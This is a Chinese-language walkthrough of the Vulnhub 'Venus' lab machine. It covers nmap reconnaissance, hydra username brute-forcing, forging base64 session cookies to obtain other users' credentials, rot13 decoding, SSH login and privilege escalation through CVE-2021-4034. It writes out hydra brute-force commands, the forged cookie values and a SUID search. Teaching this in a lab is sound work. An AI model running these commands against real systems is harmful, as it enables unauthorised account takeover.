AI摘要:本文详细介绍了使用Kali Linux对Vulnhub靶场Venus进行渗透测试的过程。首先,使用nmap工具进行信息收集,发现靶机开放的端口和运行的服务。然后,通过观察登录提示信息,使用hydra工具进行用户名爆破。接着,通过构造cookie进行绕过,获取到三个线索。最后,通过rot13解码得到密码,成功登录SSH,并利用CVE-2021-4034漏洞提权,最终获取到root权限和flag文件。
在本次测试中,我们将使用Kali Linux对靶机进行渗透测试。我们的目标是理解并利用各种工具和技术,以获取对靶机的最大权限。下图展示了靶机的初步概览:
我们首先使用nmap工具对靶机进行基本的信息收集。在这个阶段,我们的目标是找出靶机上开放的端口以及运行的服务。nmap命令如下:nmap -sS -sV -A -T4 -p- 靶机IP
┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -T4 -p- 192.168.2.9
Nmap scan report for 192.168.2.9
Host is up (0.00083s latency).
Not shown: 65394 filtered tcp ports (no-response), 139 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey:
| 256 b0:3e:1c:68:4a:31:32:77:53:e3:10:89:d6:29:78:50 (ECDSA)
|_ 256 fd:b4:20:d0:d8:da:02:67:a4:a5:48:f3:46:e2:b9:0f (ED25519)
8080/tcp open http-proxy WSGIServer/0.2 CPython/3.9.5
|_http-server-header: WSGIServer/0.2 CPython/3.9.5
|_http-title: Venus Monitoring Login
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Mon, 05 Feb 2024 08:59:57 GMT
| Server: WSGIServer/0.2 CPython/3.9.5
| Content-Type: text/html; charset=utf-8
| X-Frame-Options: DENY
| Content-Length: 626
| X-Content-Type-Options: nosniff
| Referrer-Policy: same-origin
| <html>
| <head>
| <title>Venus Monitoring Login</title>
| <style>
| .aligncenter {
| text-align: center;
| label {
| display:block;
| position:relative;
| </style>
| </head>
| <body>
| <h1> Venus Monitoring Login </h1>
| <h2>Please login: </h2>
| Credentials guest:guest can be used to access the guest account.
| <form action="/" method="post">
| <label for="username">Username:</label>
| <input id="username" type="text" name="username">
| <label for="password">Password:</label>
| <input id="username" type="text" name="password">
| <input type="submit" value="Login">
| </form>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94%I=7%D=2/5%Time=65C0A38E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,363,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2005\x20Feb\x2020
SF:24\x2008:59:57\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.9\.5\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x20
SF:DENY\r\nContent-Length:\x20626\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nReferrer-Policy:\x20same-origin\r\n\r\n<html>\n<head>\n<title>Venus\x2
SF:0Monitoring\x20Login</title>\n<style>\n\.aligncenter\x20{\n\x20\x20\x20
SF:\x20text-align:\x20center;\n}\nlabel\x20{\n\x20\x20\x20\x20display:bloc
SF:k;\n\x20\x20\x20\x20position:relative;\n}\n</style>\n</head>\n<body>\n<
SF:h1>\x20Venus\x20Monitoring\x20Login\x20</h1>\n<h2>Please\x20login:\x20<
SF:/h2>\nCredentials\x20guest:guest\x20can\x20be\x20used\x20to\x20access\x
SF:20the\x20guest\x20account\.\n<form\x20action=\"/\"\x20method=\"post\">\
SF:n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x20<label\x20for=\"username\">
SF:Username:</label>\n\x20\x20\x20\x20<input\x20id=\"username\"\x20type=\"
SF:text\"\x20name=\"username\">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x
SF:20<label\x20for=\"password\">Password:</label>\n\x20\x20\x20\x20<input\
SF:x20id=\"username\"\x20type=\"text\"\x20name=\"password\">\n\x20\x20\x20
SF:\x20<br\x20/>\n\x20\x20\x20\x20<input\x20type=\"submit\"\x20value=\"Log
SF:in\">\n</form>\n\n</body>\n</html>\n")%r(HTTPOptions,363,"HTTP/1\.1\x20
SF:200\x20OK\r\nDate:\x20Mon,\x2005\x20Feb\x202024\x2008:59:57\x20GMT\r\nS
SF:erver:\x20WSGIServer/0\.2\x20CPython/3\.9\.5\r\nContent-Type:\x20text/h
SF:tml;\x20charset=utf-8\r\nX-Frame-Options:\x20DENY\r\nContent-Length:\x2
SF:0626\r\nX-Content-Type-Options:\x20nosniff\r\nReferrer-Policy:\x20same-
SF:origin\r\n\r\n<html>\n<head>\n<title>Venus\x20Monitoring\x20Login</titl
SF:e>\n<style>\n\.aligncenter\x20{\n\x20\x20\x20\x20text-align:\x20center;
SF:\n}\nlabel\x20{\n\x20\x20\x20\x20display:block;\n\x20\x20\x20\x20positi
SF:on:relative;\n}\n</style>\n</head>\n<body>\n<h1>\x20Venus\x20Monitoring
SF:\x20Login\x20</h1>\n<h2>Please\x20login:\x20</h2>\nCredentials\x20guest
SF::guest\x20can\x20be\x20used\x20to\x20access\x20the\x20guest\x20account\
SF:.\n<form\x20action=\"/\"\x20method=\"post\">\n\x20\x20\x20\x20<br\x20/>
SF:\n\x20\x20\x20\x20<label\x20for=\"username\">Username:</label>\n\x20\x2
SF:0\x20\x20<input\x20id=\"username\"\x20type=\"text\"\x20name=\"username\
SF:">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x20<label\x20for=\"password
SF:\">Password:</label>\n\x20\x20\x20\x20<input\x20id=\"username\"\x20type
SF:=\"text\"\x20name=\"password\">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x2
SF:0\x20<input\x20type=\"submit\"\x20value=\"Login\">\n</form>\n\n</body>\
SF:n</html>\n");
MAC Address: 08:00:27:18:54:5E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 5.1 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.83 ms 192.168.2.9
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.26 seconds
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101
从nmap的扫描结果中,我们发现了靶机开放的两个端口:22/ssh
和 8080/http-proxy
。
8080/http-proxy
端口运行着一个HTTP的代理服务。让我们用浏览器访问一下这个端口的服务。结果显示,这是一个登录页面,并提示我们可以使用guest:guest
的账户密码访问来宾用户。
我们尝试使用提供的来宾账户guest:guest
登录,如下图所示,这是我们使用来宾用户的登录页面。
接下来,我们删除cookie并刷新页面,发现需要重新登录。这意味着服务器端可能在cookie中存储了某种会话状态。我们可以利用这个特性进行用户名爆破。
首先,我们注意到当我们输入正确的用户名但错误的密码时,系统会返回“密码错误”的提示信息。
然后,我们尝试输入一个不存在的用户名,系统返回了“无效的用户名”的提示。
这就给了我们一个很好的思路:我们可以通过这两个不同的提示信息,使用hydra
工具配合directory-list-2.3-medium.txt
进行基于表单的爆破,尝试找出所有有效的用户名。
hydra
是一款强大的网络登录破解工具,它支持多种协议进行破解,包括但不限于FTP、HTTP、IMAP、MSSQL、MySQL、RDP、SSH、Telnet等。它的破解方式主要基于字典攻击,可以进行用户名和密码的爆破。 Hydra的基本用法 Hydra的基本命令格式如下: hydra [选项] [服务://]目标主机 [模块选项] 这里有几个主要的选项:
-l LOGIN
或 -L FILE
:指定单一登录名或登录名列表文件。-p PASS
或 -P FILE
:指定单一密码或密码列表文件。-s PORT
:如果目标服务不使用默认端口,使用此选项指定服务端口。-e nsr
:尝试空密码、登录名作为密码或反转登录名作为密码。-C FILE
:指定登录名和密码列表文件,文件中的格式为:用户 密码。-t TASKS
:并发任务数,默认为16。-w TIME
:连接超时时间,默认为30秒。-f
:发现成功的登录/密码对后停止。-M FILE
:并行攻击多个主机。
Hydra的使用示例
以下是一些Hydra的使用示例:
SSH爆破:
hydra -l root -P password.txt -vV -t 10 -u 192.168.1.108 ssh
这个命令尝试使用root
作为登录名,从password.txt
文件读取密码,对IP地址为192.168.1.108
的主机进行SSH服务的爆破。
FTP爆破:
hydra -l user -P pass.txt -vV -f 192.168.1.108 ftp
这个命令尝试使用user
作为登录名,从pass.txt
文件读取密码,对IP地址为192.168.1.108
的主机进行FTP服务的爆破。
HTTP POST表单爆破:
hydra -L user.txt -P pass.txt -f -vV 192.168.1.108 http-post-form "/login.php:username=^USER^&password=^PASS^:F=wrong"
这个命令从user.txt
文件读取登录名,从pass.txt
文件读取密码,对IP地址为192.168.1.108
的主机进行HTTP POST表单的爆破。
hydra -L /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -p test -s 8080 192.168.2.9 http-post-form "/:username=^USER^&password^PASS^:Invalid username."
爆破结果如下,我们得到了三个用户名:guest
、venus
和magellan
。
我们已经获取了guest
用户的线索,现在就测试另外两个。这两个账户的密码我们并不知道,但是我们可以尝试绕过。我们知道guest
用户的密码是guest
,我们可以使用Burpsuite
抓取登录后的数据包,查看其中的cookie信息。
如下图所示,cookie处有一个base64的编码字符串,对其解码后的结果为guest:thrfg
。
这个发现让我们可以尝试构造cookie,将guest
用户名替换为venus
或magellan
,然后再进行base64编码,通过Burpsuite
修改cookie后再发送给靶机web服务,看看会发生什么。
我们开始构造cookie:
venus:thrfg
进行base64编码,得到dmVudXM6dGhyZmc=
magellan:thrfg
进行base64编码,得到bWFnZWxsYW46dGhyZmc=
我们把上一步抓取的数据包发送给Burpsuite
的Repeater
模块,修改cookie为我们构造的第一个cookie,得到了第二个线索字符串dmVudXM6aXJhaGY=
。
继续上一步的操作,修改cookie为我们构造的第二个cookie,得到了第三个线索字符串bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==
。
我们现在汇总我们获取的三个线索,并对它们进行base64解码:
Z3Vlc3Q6dGhyZmc=
的base64解码为guest:thrfg
dmVudXM6aXJhaGY=
的base64解码为venus:irahf
bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==
的base64解码为magellan:irahfvnatrbybtl1989
尝试使用这些信息登录SSH,但是都失败了。通过不断地尝试,我们发现密码部分可能被rot13
进行编码过。我们通过rot13
进行解码,就可以得到如下结果(注意,数字1989不变):
guest:guest
venus:venus
magellan:venusiangeology1989
通过尝试,我们发现只有magellan:venusiangeology1989
可以正常登录。
成功登录后,我们需要尝试提升权限。我们使用命令find / -perm -u=s -exec ls -al {} \; 2>/dev/null
查找具有suid
权限的可执行文件,发现了我们熟悉的polkit-agent-helper-1
,这是一个有漏洞的文件,可以直接利用CVE-2021-4034
漏洞来提权。
使用命令cd /root
切换到root目录,发现最终的flag文件root_flag.txt
。使用cat
命令显示该flag文件即可完成该靶机的渗透。
以上就是我们本次的渗透测试过程。通过这个过程,我们学习了如何使用各种工具和技术进行信息收集、用户名爆破、cookie构造、rot13解码以及利用已知漏洞进行提权。这些技术在实际的网络安全防御中都是非常重要的。